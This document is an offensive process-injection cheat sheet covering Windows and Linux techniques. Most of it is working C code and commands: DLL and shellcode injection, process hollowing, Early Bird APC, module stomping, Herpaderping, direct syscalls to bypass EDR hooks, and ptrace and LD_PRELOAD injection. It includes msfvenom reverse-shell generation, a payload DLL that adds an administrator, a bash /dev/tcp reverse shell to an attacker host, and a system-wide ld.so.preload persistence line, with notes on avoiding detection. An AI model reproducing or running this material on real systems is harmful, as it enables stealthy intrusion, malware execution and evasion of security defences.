Legend:
[WIN]= Windows |[LIN]= Linux |[CLASSIC]= Classic injection |[STEALTH]= Low detection |[EDR]= EDR evasion consideration |[OPSEC]= Stealth note |[SYSCALL]= Direct syscall technique
1. What is Process Injection
What it means: Process injection is a technique where an attacker executes arbitrary
code inside the address space of another, legitimate process. Instead of running a
malicious evil.exe, your payload runs inside svchost.exe, explorer.exe, or
notepad.exe — inheriting that process's trust level, network connections, and token. Modern C2 frameworks (Cobalt Strike, Sliver, Havoc) use process injection as their
primary execution mechanism after initial access.
Why inject into another process?
┌──────────────────────────────────────────────────────────────┐
│ Bypass AV/EDR → code runs inside trusted signed process │
│ Inherit trust → svchost.exe is never suspicious │
│ Steal tokens → run as the target process's user │
│ Network blend → outbound from svchost, not evil.exe │
│ Evade memory scan→ code lives in legitimate module memory │
│ Persist hidden → no new process in tasklist │
└──────────────────────────────────────────────────────────────┘
Injection Prerequisites
Most injection techniques need:
├── OpenProcess(PROCESS_ALL_ACCESS, ...) on target
│ → requires SeDebugPrivilege OR target runs as same user
├── VirtualAllocEx() — allocate memory in target
├── WriteProcessMemory() — write payload to target
└── Execution trigger — CreateRemoteThread / APC / hijack thread
Target Process Selection
Best target processes for injection (OPSEC):
svchost.exe → always running, makes network connections
explorer.exe → always running, interactive user session
RuntimeBroker.exe → common, rarely inspected
werfault.exe → error reporting, short-lived but trusted
msiexec.exe → can be spawned on demand
dllhost.exe → COM host, normal to load DLLs
Avoid:
lsass.exe → ANY crash = BSOD
csrss.exe → crash = BSOD
Your own process → defeats the purpose
Protected Process Light (PPL) processes → can't inject
2. Classic DLL Injection
What it means: The oldest and most well-known injection technique. You write the path
of your DLL into the target process, then call LoadLibrary inside the target via
CreateRemoteThread. Windows loads your DLL into the target process — executing
DllMain as the target process's user.
2.1 How It Works
┌──────────────────────────────────────────────────────────────┐
│ Attacker Process │ Target Process │
│ │ │
│ 1. OpenProcess() ----------→│ │
│ 2. VirtualAllocEx() -------→│ [allocate memory] │
│ 3. WriteProcessMemory() --->│ "C:\loot\evil.dll\0" │
│ 4. GetProcAddress( │ │
│ LoadLibraryA) ----------→│ │
│ 5. CreateRemoteThread() --->│ LoadLibraryA("evil.dll") │
│ │ → DllMain() executes │
│ │ → payload runs │
└──────────────────────────────────────────────────────────────┘
2.2 C Implementation
#include <windows.h>
#include <stdio.h>
int main() {
DWORD pid = 1234; // target PID
char* dllPath = "C:\\loot\\evil.dll";
// Step 1: Open target process
HANDLE hProc = OpenProcess(
PROCESS_ALL_ACCESS,
FALSE,
pid
);
if (!hProc) { printf("OpenProcess failed: %d\n", GetLastError()); return 1; }
// Step 2: Allocate memory in target for DLL path
LPVOID pRemoteMem = VirtualAllocEx(
hProc,
NULL,
strlen(dllPath) + 1,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
// Step 3: Write DLL path into target memory
WriteProcessMemory(
hProc,
pRemoteMem,
dllPath,
strlen(dllPath) + 1,
NULL
);
// Step 4: Get address of LoadLibraryA in kernel32.dll
LPVOID pLoadLib = (LPVOID)GetProcAddress(
GetModuleHandleA("kernel32.dll"),
"LoadLibraryA"
);
// Step 5: Create remote thread → calls LoadLibraryA(dllPath)
HANDLE hThread = CreateRemoteThread(
hProc,
NULL,
0,
(LPTHREAD_START_ROUTINE)pLoadLib,
pRemoteMem,
0,
NULL
);
// Step 6: Wait and cleanup
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProc, pRemoteMem, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProc);
printf("[+] DLL injected successfully!\n");
return 0;
}
2.3 The DLL (Payload)
// evil.dll — executes payload when loaded
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hInstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload executes here — runs as target process user
// Option 1: Spawn reverse shell
system("cmd /c C:\\loot\\reverse.exe");
// Option 2: Add admin user
system("net localgroup administrators hacker /add");
// Option 3: Shellcode execution (see Section 3)
}
return TRUE;
}
# Compile DLL on Linux
x86_64-w64-mingw32-gcc evil.c -shared -o evil.dll -lws2_32
# Compile injector
x86_64-w64-mingw32-gcc injector.c -o injector.exe -lkernel32
2.4 OPSEC Issues
[NOISY] Classic DLL injection is well-detected:
✖ CreateRemoteThread is heavily monitored by EDRs
✖ DLL must exist on disk → disk forensics
✖ VirtualAllocEx(RWX) → suspicious memory allocation
✖ LoadLibraryA string in imports = obvious indicator
✖ DLL appears in target's module list
3. Shellcode Injection (Remote Thread)
What it means: Instead of loading a DLL, you inject raw shellcode bytes directly into the target process memory and execute them via a remote thread. No DLL file needed on disk — the payload lives only in memory. This is the standard technique used by most C2 frameworks for staging.
3.1 How It Works
┌─────────────────────────────────────────────────────┐
│ Attacker │ Target Process │
│ │ │
│ 1. OpenProcess() ────────→│ │
│ 2. VirtualAllocEx(RWX) ──→│ [allocate RWX memory] │
│ 3. WriteProcessMemory() ─→│ \xfc\x48\x83... │
│ │ (shellcode bytes) │
│ 4. CreateRemoteThread() ─→│ → execute at shellcode │
│ │ → reverse shell! │
└─────────────────────────────────────────────────────┘
3.2 C Implementation
#include <windows.h>
#include <stdio.h>
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f c
unsigned char shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, // ...
// paste full shellcode here
};
SIZE_T shellcode_len = sizeof(shellcode);
int main() {
DWORD pid = 1234; // target PID
// Step 1: Open target
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// Step 2: Allocate RWX memory in target
LPVOID pMem = VirtualAllocEx(
hProc, NULL,
shellcode_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE // RWX — suspicious! see Section 11
);
// Step 3: Write shellcode
WriteProcessMemory(hProc, pMem, shellcode, shellcode_len, NULL);
// Step 4: Execute via remote thread
HANDLE hThread = CreateRemoteThread(
hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)pMem,
NULL, 0, NULL
);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProc);
return 0;
}
3.3 RW → RX Memory (Stealthier)
// Better OPSEC: allocate RW, write, then change to RX (no RWX!)
// RWX allocation = immediate EDR flag
// Step 1: Allocate RW only
LPVOID pMem = VirtualAllocEx(hProc, NULL, shellcode_len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // RW only
// Step 2: Write shellcode
WriteProcessMemory(hProc, pMem, shellcode, shellcode_len, NULL);
// Step 3: Change permission to RX (no write)
DWORD oldProtect;
VirtualProtectEx(hProc, pMem, shellcode_len,
PAGE_EXECUTE_READ, &oldProtect); // RX only
// Step 4: Execute
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)pMem, NULL, 0, NULL);
3.4 Generate Shellcode
# Meterpreter (staged)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 -f c -o shellcode.c
# Raw shell (stageless)
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 -f raw -o shellcode.bin
# Avoid bad chars
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 -f c -b '\x00\x0a\x0d'
# Custom shellcode (Donut — converts EXE/DLL to shellcode)
donut -i beacon.exe -o shellcode.bin -a 2
# Encode shellcode to bypass static detection
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=IP LPORT=4444 -e x64/xor_dynamic -f c
4. Process Hollowing
What it means: Process Hollowing (aka RunPE) creates a legitimate process in
SUSPENDED state, unmaps its memory, writes your malicious code in its place, and resumes
execution. From the outside — Task Manager, EDR, analysts — it looks like a completely
normal svchost.exe or notepad.exe running. The process IS legitimate, just its
content has been replaced.
4.1 How It Works
┌─────────────────────────────────────────────────────────────┐
│ Step 1: CreateProcess(svchost.exe, SUSPENDED) │
│ → legitimate process created, not yet running │
│ │
│ Step 2: NtUnmapViewOfSection() / ZwUnmapViewOfSection() │
│ → unmap the original svchost.exe image from memory │
│ │
│ Step 3: VirtualAllocEx() in target at preferred base addr │
│ → allocate space for your PE image │
│ │
│ Step 4: WriteProcessMemory() — write full PE headers │
│ → copy your malicious PE into the hollow │
│ │
│ Step 5: Fix up PEB.ImageBaseAddress via WriteProcessMemory │
│ → update PEB to point to new base │
│ │
│ Step 6: SetThreadContext() — fix RIP/EIP to new entry point │
│ │
│ Step 7: ResumeThread() │
│ → process resumes → YOUR code runs as svchost! │
└─────────────────────────────────────────────────────────────┘
4.2 Key APIs
#include <windows.h>
// ─── APIs used in Process Hollowing ───
// Create suspended process
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
CreateProcessA(
"C:\\Windows\\System32\\svchost.exe",
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, // ← KEY: suspended!
NULL, NULL, &si, &pi
);
// Get thread context (to read/fix EIP/RIP)
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
// ctx.Rip = entry point (x64)
// ctx.Eip = entry point (x86)
// Read PEB base address from thread context
// x64: ctx.Rdx = PEB address (from CreateProcess)
// x86: ctx.Ebx = PEB address
// Unmap original image
typedef NTSTATUS(WINAPI* pNtUnmap)(HANDLE, PVOID);
pNtUnmap NtUnmapViewOfSection = (pNtUnmap)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"
);
NtUnmapViewOfSection(pi.hProcess, (PVOID)imageBase);
// Allocate memory at preferred base of malicious PE
LPVOID pMem = VirtualAllocEx(
pi.hProcess,
(LPVOID)imageBase, // preferred VA from PE header
imageSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// Write PE headers
WriteProcessMemory(pi.hProcess, pMem, pImage, pe->OptionalHeader.SizeOfHeaders, NULL);
// Write each section
for (int i = 0; i < pe->FileHeader.NumberOfSections; i++) {
WriteProcessMemory(
pi.hProcess,
(PVOID)((ULONG_PTR)pMem + sect[i].VirtualAddress),
(PVOID)((ULONG_PTR)pImage + sect[i].PointerToRawData),
sect[i].SizeOfRawData,
NULL
);
}
// Fix PEB ImageBaseAddress
WriteProcessMemory(
pi.hProcess,
(PVOID)(pebBase + 0x10), // PEB.ImageBaseAddress offset
&imageBase, sizeof(ULONGLONG), NULL
);
// Fix RIP to new entry point
ctx.Rip = (DWORD64)pMem + pe->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);
// Resume execution
ResumeThread(pi.hThread);
4.3 OPSEC Notes
[MEDIUM] Process Hollowing detection:
✖ NtUnmapViewOfSection on own process = suspicious
✖ Memory mapped at PE preferred base with RWX = flag
✖ PE header in memory doesn't match file on disk
✔ Process name/PID looks completely legitimate
✔ No new process created
✔ Doesn't require disk-based DLL
✔ Good against signature-based AV
✖ Behavioral EDRs detect hollow processes via page hashes
5. APC Injection
What it means: APC (Asynchronous Procedure Calls) are a Windows mechanism to queue functions to execute in a thread's context. Every thread has an APC queue — if the thread enters an alertable wait state, queued APCs execute. Injecting a shellcode pointer as an APC in a thread of a target process causes your code to run in that process context.
5.1 How It Works
┌─────────────────────────────────────────────────────┐
│ 1. OpenProcess() → get handle to target │
│ 2. VirtualAllocEx() + WriteProcessMemory() → │
│ write shellcode into target │
│ 3. OpenThread() on each thread of target │
│ 4. QueueUserAPC(shellcode_addr, hThread, 0) │
│ → queue APC in each thread │
│ 5. Thread enters alertable wait → │
│ WaitForSingleObjectEx / SleepEx / etc. │
│ 6. APC fires → shellcode executes! │
└─────────────────────────────────────────────────────┘
5.2 C Implementation
#include <windows.h>
#include <tlhelp32.h>
// shellcode bytes here...
unsigned char shellcode[] = { 0xfc, 0x48, /* ... */ };
// Get all thread IDs of a process
void InjectAPC(DWORD pid) {
// Write shellcode to target
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID pMem = VirtualAllocEx(hProc, NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, pMem, shellcode, sizeof(shellcode), NULL);
// Enumerate threads of target process
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(THREADENTRY32) };
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
// Open thread with APC access
HANDLE hThread = OpenThread(
THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME,
FALSE,
te.th32ThreadID
);
if (hThread) {
// Queue APC — shellcode will run when thread is alertable
QueueUserAPC(
(PAPCFUNC)pMem,
hThread,
0
);
CloseHandle(hThread);
}
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
CloseHandle(hProc);
}
5.3 Early Bird APC (Stealthiest Variant)
// Early Bird: inject APC BEFORE process starts (while in CREATE_SUSPENDED)
// APC fires at first alertable wait → even before main() runs
// Very few EDRs detect this
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
// Create suspended process
CreateProcessA("C:\\Windows\\System32\\svchost.exe",
NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Write shellcode
LPVOID pMem = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pMem, shellcode, sizeof(shellcode), NULL);
// Queue APC in main thread (fires immediately when resumed)
QueueUserAPC((PAPCFUNC)pMem, pi.hThread, 0);
// Resume → APC fires FIRST before any user code!
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
5.4 OPSEC Notes
[LOWER NOISE] APC injection:
✔ No CreateRemoteThread (most monitored API)
✔ QueueUserAPC is less monitored
✔ Early Bird fires before EDR hooks initialize
✖ Requires thread to enter alertable wait (not guaranteed)
✖ VirtualAllocEx(RWX) still suspicious
✔ One of the stealthiest basic injection techniques
6. Thread Hijacking
What it means: Instead of creating a new thread, you suspend an existing thread in the target process, modify its RIP/EIP register to point to your shellcode, and resume it. The existing thread now executes your payload — no new thread creation at all.
6.1 How It Works
┌─────────────────────────────────────────────────────┐
│ 1. OpenProcess() + OpenThread() → existing thread │
│ 2. SuspendThread() │
│ 3. GetThreadContext() → save original RIP │
│ 4. VirtualAllocEx() + WriteProcessMemory() → │
│ write shellcode │
│ 5. Modify context.Rip = shellcode address │
│ (Save original RIP for return stub!) │
│ 6. SetThreadContext() │
│ 7. ResumeThread() │
│ 8. Thread executes shellcode → returns to orig RIP │
└─────────────────────────────────────────────────────┘
6.2 C Implementation
#include <windows.h>
unsigned char shellcode[] = { /* shellcode here */ };
void HijackThread(DWORD threadId) {
// Open target thread
HANDLE hThread = OpenThread(
THREAD_ALL_ACCESS, FALSE, threadId
);
// Suspend it
SuspendThread(hThread);
// Get current context (save RIP)
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);
DWORD64 origRip = ctx.Rip;
// Get handle to owning process
// (use GetProcessIdOfThread or enumerate)
DWORD pid = GetProcessIdOfThread(hThread);
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// Allocate + write shellcode
LPVOID pMem = VirtualAllocEx(hProc, NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, pMem, shellcode, sizeof(shellcode), NULL);
// Redirect RIP to shellcode
ctx.Rip = (DWORD64)pMem;
SetThreadContext(hThread, &ctx);
// Resume hijacked thread
ResumeThread(hThread);
CloseHandle(hThread);
CloseHandle(hProc);
}
6.3 OPSEC Notes
[MEDIUM] Thread hijacking:
✔ No CreateRemoteThread
✔ No new thread created → less visible in thread list
✖ SuspendThread on foreign thread can cause instability
✖ Suspicious context modification detected by some EDRs
✖ If shellcode crashes → target process dies
✔ Blends in when targeting idle threads
7. Module Stomping
What it means: Module Stomping (aka DLL Stomping / Overloading) loads a legitimate
DLL into the target process, then overwrites its .text section with shellcode. The
memory region appears as a legitimate mapped module — its path, headers, and metadata
all check out — but the code has been replaced with your payload.
7.1 How It Works
┌─────────────────────────────────────────────────────────────┐
│ 1. LoadLibraryEx(target.dll) in target process │
│ → legitimate DLL loaded with real headers │
│ │
│ 2. Find .text section offset of loaded DLL │
│ │
│ 3. VirtualProtectEx() → make .text writable │
│ │
│ 4. WriteProcessMemory() → overwrite .text with shellcode │
│ │
│ 5. CreateRemoteThread() / APC → execute at stomped addr │
│ │
│ Result: Memory scan sees legitimate DLL path/headers │
│ but code is your shellcode │
└─────────────────────────────────────────────────────────────┘
7.2 Key Code
// Load legitimate DLL into target
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// Write path of legitimate DLL to inject
char* dllPath = "C:\\Windows\\System32\\amsi.dll"; // small DLL
LPVOID pStr = VirtualAllocEx(hProc, NULL, strlen(dllPath)+1,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProc, pStr, dllPath, strlen(dllPath)+1, NULL);
// Load legitimate DLL into target (sets up proper module entry)
LPVOID pLLEx = GetProcAddress(GetModuleHandleA("kernel32"), "LoadLibraryExA");
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)pLLEx, pStr,
DONT_RESOLVE_DLL_REFERENCES, // ← load without running DllMain
NULL);
WaitForSingleObject(hThread, INFINITE);
// Get base address of loaded DLL
// (enumerate modules to find it)
HMODULE mods;
DWORD needed;
EnumProcessModules(hProc, mods, sizeof(mods), &needed);
// find amsi.dll base...
// Make .text section writable
DWORD old;
VirtualProtectEx(hProc, (LPVOID)(dllBase + textOffset),
sizeof(shellcode), PAGE_EXECUTE_READWRITE, &old);
// Overwrite .text with shellcode
WriteProcessMemory(hProc, (LPVOID)(dllBase + textOffset),
shellcode, sizeof(shellcode), NULL);
// Restore protection
VirtualProtectEx(hProc, (LPVOID)(dllBase + textOffset),
sizeof(shellcode), old, &old);
7.3 OPSEC Notes
[STEALTHY] Module Stomping:
✔ Memory appears as legitimate mapped DLL (not anonymous RWX)
✔ Module path/headers are legitimate
✔ Bypasses memory scanners that check module names
✖ Content of .text doesn't match file on disk (hash mismatch)
✖ Advanced EDRs compare in-memory modules to disk images
✔ Effective against most signature-based and basic behavioral EDRs
8. Reflective DLL Injection
What it means: Reflective DLL Injection loads a DLL from memory — without writing
it to disk and without using LoadLibrary. The DLL contains its own loader stub that
manually maps itself into memory, resolves imports, and runs DllMain. No file on disk.
No LoadLibrary call. This is the foundation of Meterpreter and many C2 stage loaders.
8.1 How It Works
┌─────────────────────────────────────────────────────────────┐
│ Standard DLL: │
│ Disk → LoadLibrary → PE loader → DllMain │
│ │
│ Reflective DLL: │
│ Memory bytes → ReflectiveLoader() (self-contained) │
│ → manually maps headers, sections │
│ → manually resolves imports via PEB traversal │
│ → manually runs DllMain │
│ → NO disk touch, NO LoadLibrary, NO file path │
└─────────────────────────────────────────────────────────────┘
8.2 Implementation
// The DLL exports a function: ReflectiveLoader()
// Source: https://github.com/stephenfewer/ReflectiveDLLInjection
// Injector side:
// 1. Read DLL bytes into buffer (from network, resource, etc.)
// 2. Write DLL bytes to target process memory
// 3. Find offset of ReflectiveLoader within the DLL bytes
// 4. CreateRemoteThread at (targetMem + reflectiveLoaderOffset)
// Finding ReflectiveLoader offset:
DWORD GetReflectiveLoaderOffset(VOID* pReflectiveDll) {
ULONG_PTR uiBaseAddress = (ULONG_PTR)pReflectiveDll;
// Parse PE headers to find export named "ReflectiveLoader"
// Return its RVA
}
// Inject:
LPVOID pMem = VirtualAllocEx(hProc, NULL, dllSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, pMem, dllBuffer, dllSize, NULL);
DWORD reflOffset = GetReflectiveLoaderOffset(dllBuffer);
LPVOID pLoader = (LPVOID)((ULONG_PTR)pMem + reflOffset);
CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)pLoader, NULL, 0, NULL);
8.3 Meterpreter Use
# Meterpreter uses reflective injection to load itself
# No meterpreter.dll on disk — it's reflectively loaded from network
# Stage 1: stager connects back, receives DLL bytes
# Stage 2: reflective loader maps DLL into memory
# Stage 3: DllMain runs → meterpreter session established
# This is why meterpreter is hard to find on disk
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw
9. Process Doppelgänging
What it means: Discovered at BlackHat 2017, Doppelgänging abuses Windows NTFS Transactions (TxF) to load malicious code while appearing as a legitimate file. You create a transaction, write malicious code to a file within the transaction, create a process from the transacted file, then rollback the transaction — the file never truly existed on disk.
9.1 How It Works
┌─────────────────────────────────────────────────────────────┐
│ 1. NtCreateTransaction() │
│ → create NTFS transaction (TxF) │
│ │
│ 2. CreateFileTransacted("legit.exe", ..., hTransaction) │
│ → open legitimate file within transaction │
│ │
│ 3. NtWriteFile() → overwrite file with malicious PE │
│ → only visible within transaction (not to AV/EDR) │
│ │
│ 4. NtCreateSection(file) → create memory section │
│ │
│ 5. NtRollbackTransaction() │
│ → rollback → malicious file NEVER WRITTEN TO DISK │
│ │
│ 6. NtCreateProcessEx(section) → create process │
│ → process runs malicious code │
│ → appears as legitimate file path to EDR │
└─────────────────────────────────────────────────────────────┘
9.2 Key APIs
// All NT* APIs called directly from ntdll.dll
// NtCreateTransaction
// CreateFileTransacted
// NtWriteFile (write malicious PE to transacted file)
// NtCreateSection (from transacted file handle)
// NtRollbackTransaction (file never hits disk)
// NtCreateProcessEx (from section)
// NtCreateThreadEx (to start process)
// Note: Windows 10 1803+ partially patched this
// Use Process Herpaderping for modern systems
10. Phantom / Herpaderping
What it means: Process Herpaderping (2020) is a modern evolution of Doppelgänging. You write a malicious PE to disk, create a process from it, then OVERWRITE the file on disk with benign content — before the AV/EDR can scan it. The process runs malicious code, but AV scans the disk and sees a harmless file.
10.1 Process Herpaderping Flow
┌─────────────────────────────────────────────────────────────┐
│ 1. Write malicious PE to disk (temporary file) │
│ 2. Create file mapping (section) from the malicious file │
│ 3. Create process from section object │
│ 4. BEFORE process is fully loaded → overwrite file on disk │
│ with benign content (calc.exe, notepad.exe, etc.) │
│ 5. Resume process → malicious code runs │
│ 6. AV/EDR scans file → sees benign content → no alert │
│ Process runs malicious code that was mapped earlier │
└─────────────────────────────────────────────────────────────┘
10.2 Key APIs
// 1. Write payload to temp file
FILE* f = fopen("C:\\Windows\\Temp\\tmp.exe", "wb");
fwrite(maliciousPayload, 1, payloadSize, f);
fclose(f);
// 2. Open for section creation
HANDLE hFile = CreateFileA("C:\\Windows\\Temp\\tmp.exe",
GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
// 3. Create section from file
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0,
PAGE_READONLY, SEC_IMAGE, hFile);
// 4. Create process from section (before file is scanned!)
NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL,
GetCurrentProcess(), PS_INHERIT_HANDLES, hSection, NULL, NULL, FALSE);
// 5. Overwrite file on disk with benign content (fast!)
DWORD written;
WriteFile(hFile, benignContent, benignSize, &written, NULL);
FlushFileBuffers(hFile);
// AV now scans and sees benign file!
// 6. Create thread to start execution
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess,
(LPTHREAD_START_ROUTINE)entryPoint, NULL, FALSE, 0, 0, 0, NULL);
11. Direct Syscalls (Bypassing EDR Hooks)
What it means: EDRs hook NTAPI functions in ntdll.dll — they patch the first bytes
of NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx etc. to redirect
calls through their scanning engine. Direct syscalls bypass this by calling the kernel
directly using the syscall instruction with the correct System Service Number (SSN) —
never touching ntdll.
11.1 Why EDR Hooks Fail Against Direct Syscalls
Normal API call chain:
Your code → ntdll.NtAllocateVirtualMemory → EDR HOOK → kernel
EDR Hook in ntdll:
Original: mov r10, rcx; mov eax, 0x18; syscall
Hooked: jmp EDR_Scanner_routine ← EDR inserted this JMP
Direct Syscall (bypasses ntdll entirely):
Your code → syscall instruction directly → kernel
EDR never sees the call!
11.2 Manual Syscall (Hardcoded SSN)
// WARNING: SSNs change between Windows versions!
// NtAllocateVirtualMemory SSN = 0x18 on Win10 21H2
// x64 assembly stub
// NtAllocateVirtualMemory(process, base, 0, size, type, protect)
__asm__ volatile (
"mov r10, rcx\n"
"mov eax, 0x18\n" // SSN for NtAllocateVirtualMemory
"syscall\n"
"ret\n"
);
11.3 SysWhispers / SysWhispers2 / SysWhispers3
// SysWhispers auto-generates syscall stubs with correct SSNs
// https://github.com/jthuraisamy/SysWhispers2
// Generated header:
// SW2_SYSCALL_PREPARE(NtAllocateVirtualMemory);
// SW2_SYSCALL_INVOKE(NtAllocateVirtualMemory, ...args...);
// Usage in project:
#include "syscalls.h" // generated by SysWhispers2
// Now call NT functions directly (never touch ntdll hooks):
NtAllocateVirtualMemory(
hProcess, &pMem, 0, &size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// → executes syscall directly in kernel ring 0
// → EDR ntdll hooks NEVER TRIGGERED
11.4 Hell's Gate / Halo's Gate
Hell's Gate:
→ Dynamically find SSNs at runtime by reading ntdll on disk
→ Parse ntdll's export table → find mov eax,
→ Extract SSN → use it for direct syscall
→ Works even when ntdll in memory is hooked!
Halo's Gate:
→ Improvement of Hell's Gate
→ If function is hooked (first bytes = JMP) →
search neighboring syscall stubs to infer SSN
→ Handles hooked functions gracefully
// Hell's Gate pseudocode
DWORD GetSyscallNumber(LPCSTR funcName) {
// 1. Map ntdll from disk (bypasses memory hooks)
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", ...);
HANDLE hMap = CreateFileMapping(hFile, ...);
LPVOID pNtdll = MapViewOfFile(hMap, ...);
// 2. Find function in export table
LPVOID pFunc = GetExportAddress(pNtdll, funcName);
// 3. Read SSN from: mov eax, <SSN> (bytes: B8 XX XX 00 00)
DWORD ssn = *(DWORD*)((ULONG_PTR)pFunc + 4);
return ssn;
}
11.5 Indirect Syscalls (Stealthier)
Problem with direct syscalls:
EDRs now look for syscall instruction NOT in ntdll → flag!
(syscall should only come FROM ntdll in normal programs)
Indirect Syscall solution:
→ Set up registers (SSN, args) manually
→ JMP to syscall instruction INSIDE ntdll (unhooked area)
→ syscall executes FROM ntdll address → looks normal!
Tools: RecycledGate, TartarusGate, FreshyCalls
12. DLL Hijacking vs Injection
DLL Hijacking: DLL Injection:
Target runs on its own You actively inject into target
Exploits DLL search order You control the injection
Passive — wait for execution Active — immediate execution
Persistent across runs One-time (per injection)
Requires writable search path Requires OpenProcess access
No code needed in target init Need to trigger execution
13. Linux Process Injection
What it means: Linux has its own process injection mechanisms — primarily using
ptrace() (the system call debuggers use) or /proc/<pid>/mem for direct memory writes.
While less common than Windows injection, it's used in CTFs and Linux red team operations.
13.1 ptrace() Injection
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
// Shellcode: execve /bin/sh
unsigned char shellcode[] = {
0x48, 0x31, 0xd2, // xor rdx, rdx
0x48, 0xbb, 0x2f, 0x2f, 0x62, // mov rbx, '//bin/sh'
0x69, 0x6e, 0x2f, 0x73, 0x68,
0x48, 0xc1, 0xeb, 0x08, // shr rbx, 8
0x53, // push rbx
0x48, 0x89, 0xe7, // mov rdi, rsp
0x50, // push rax
0x57, // push rdi
0x48, 0x89, 0xe6, // mov rsi, rsp
0xb0, 0x3b, // mov al, 59 (execve)
0x0f, 0x05 // syscall
};
void InjectLinux(pid_t pid) {
// Step 1: Attach to target process
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
waitpid(pid, NULL, 0); // wait until stopped
// Step 2: Get current registers (save RIP)
struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, pid, NULL, ®s);
long origRip = regs.rip;
// Step 3: Write shellcode to current RIP location (word by word)
for (int i = 0; i < sizeof(shellcode); i += 8) {
long word;
memcpy(&word, shellcode + i, 8);
ptrace(PTRACE_POKETEXT, pid, (void*)(regs.rip + i), (void*)word);
}
// Step 4: Resume execution → shellcode runs
ptrace(PTRACE_CONT, pid, NULL, NULL);
// Step 5: Detach
ptrace(PTRACE_DETACH, pid, NULL, NULL);
}
13.2 /proc/pid/mem Injection
#include <stdio.h>
#include <fcntl.h>
void InjectViaProcMem(pid_t pid, unsigned long addr) {
char path;
snprintf(path, sizeof(path), "/proc/%d/mem", pid);
int fd = open(path, O_WRONLY);
if (fd < 0) { perror("open"); return; }
// Seek to target address
lseek(fd, addr, SEEK_SET);
// Write shellcode
write(fd, shellcode, sizeof(shellcode));
close(fd);
}
13.3 LD_PRELOAD Injection (Persistent)
# Compile malicious shared library
cat > evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor))
void init() {
system("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'");
}
EOF
gcc -shared -fPIC evil.c -o evil.so
# Preload into any process
LD_PRELOAD=./evil.so /usr/bin/sudo # inject into sudo
LD_PRELOAD=./evil.so ssh user@host # inject into ssh
# Persistent via /etc/ld.so.preload (requires root)
echo "/path/to/evil.so" >> /etc/ld.so.preload
# ALL processes on system load evil.so!
14. Detection & EDR Evasion Summary
Detection Methods (What EDRs Look For)
API-Level Detections:
CreateRemoteThread → CRITICAL flag
